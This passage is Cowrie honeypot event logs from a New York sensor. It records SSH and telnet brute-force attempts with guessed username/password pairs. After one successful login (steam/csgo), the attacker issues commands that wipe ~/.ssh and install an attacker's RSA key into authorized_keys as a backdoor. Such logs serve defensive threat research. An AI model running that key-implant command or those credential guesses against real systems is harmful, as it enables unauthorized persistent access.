af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:51.532750Z","src_ip":"165.227.170.113","session":"63dce84856cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123abc","message":"login attempt [admin/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:51.892460Z","src_ip":"165.227.170.113","session":"63dce84856cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:52.976813Z","src_ip":"165.227.170.113","session":"63dce84856cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02285552024841,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:14.161571Z","src_ip":"212.55.149.117","session":"7344f70e5ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":53714,"dst_ip":"10.17.0.5","dst_port":22,"session":"99a91081b528","protocol":"ssh","message":"New connection: 190.242.109.42:53714 (10.17.0.5:22) [session: 99a91081b528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:15.996960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:16.007239Z","src_ip":"190.242.109.42","session":"99a91081b528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:16.106491Z","src_ip":"190.242.109.42","session":"99a91081b528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root-admin","message":"login attempt [root/root-admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:16.521448Z","src_ip":"190.242.109.42","session":"99a91081b528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:17.620742Z","src_ip":"190.242.109.42","session":"99a91081b528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43828,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e3bcfd80c87","protocol":"telnet","message":"New connection: 128.199.8.54:43828 (159.203.135.109:23) [session: 3e3bcfd80c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:26.070508Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":46041,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0ddfbbffa21","protocol":"ssh","message":"New connection: 74.87.117.146:46041 (10.17.0.5:22) [session: e0ddfbbffa21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:29.375748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:29.381020Z","src_ip":"74.87.117.146","session":"e0ddfbbffa21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:29.405478Z","src_ip":"74.87.117.146","session":"e0ddfbbffa21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop12345678","message":"login attempt [ubuntu/hadoop12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:29.534699Z","src_ip":"74.87.117.146","session":"e0ddfbbffa21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:30.564358Z","src_ip":"74.87.117.146","session":"e0ddfbbffa21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":55012,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7c3bdc3d526","protocol":"ssh","message":"New connection: 165.227.170.113:55012 (10.17.0.5:22) [session: c7c3bdc3d526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:39.206281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:39.210770Z","src_ip":"165.227.170.113","session":"c7c3bdc3d526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:39.290529Z","src_ip":"165.227.170.113","session":"c7c3bdc3d526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty123","message":"login attempt [deploy/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:39.641898Z","src_ip":"165.227.170.113","session":"c7c3bdc3d526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:40.725546Z","src_ip":"165.227.170.113","session":"c7c3bdc3d526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.320369482040405,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:58:59.390731Z","src_ip":"128.199.8.54","session":"3e3bcfd80c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":54927,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c8a7c1e495f","protocol":"ssh","message":"New connection: 74.87.117.146:54927 (10.17.0.5:22) [session: 3c8a7c1e495f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:25.636386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:25.641263Z","src_ip":"74.87.117.146","session":"3c8a7c1e495f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:25.666988Z","src_ip":"74.87.117.146","session":"3c8a7c1e495f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123abc","message":"login attempt [admin/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:25.797463Z","src_ip":"74.87.117.146","session":"3c8a7c1e495f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":42088,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc943a00529c","protocol":"ssh","message":"New connection: 165.227.170.113:42088 (10.17.0.5:22) [session: cc943a00529c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.119782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.124040Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.205285Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"csgo","message":"login attempt [steam/csgo] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.562843Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.762495Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.765002Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.768271Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.824900Z","src_ip":"74.87.117.146","session":"3c8a7c1e495f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:26.852669Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.051614Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.054668Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.140241Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.143698Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":42100,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab388a1a042","protocol":"ssh","message":"New connection: 165.227.170.113:42100 (10.17.0.5:22) [session: 6ab388a1a042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.218802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.223253Z","src_ip":"165.227.170.113","session":"6ab388a1a042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.305498Z","src_ip":"165.227.170.113","session":"6ab388a1a042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:27.668566Z","src_ip":"165.227.170.113","session":"6ab388a1a042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:28.754191Z","src_ip":"165.227.170.113","session":"6ab388a1a042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":42116,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d26d1c2bff","protocol":"ssh","message":"New connection: 165.227.170.113:42116 (10.17.0.5:22) [session: c3d26d1c2bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:28.836920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:28.841395Z","src_ip":"165.227.170.113","session":"c3d26d1c2bff","protocol":"ssh"}
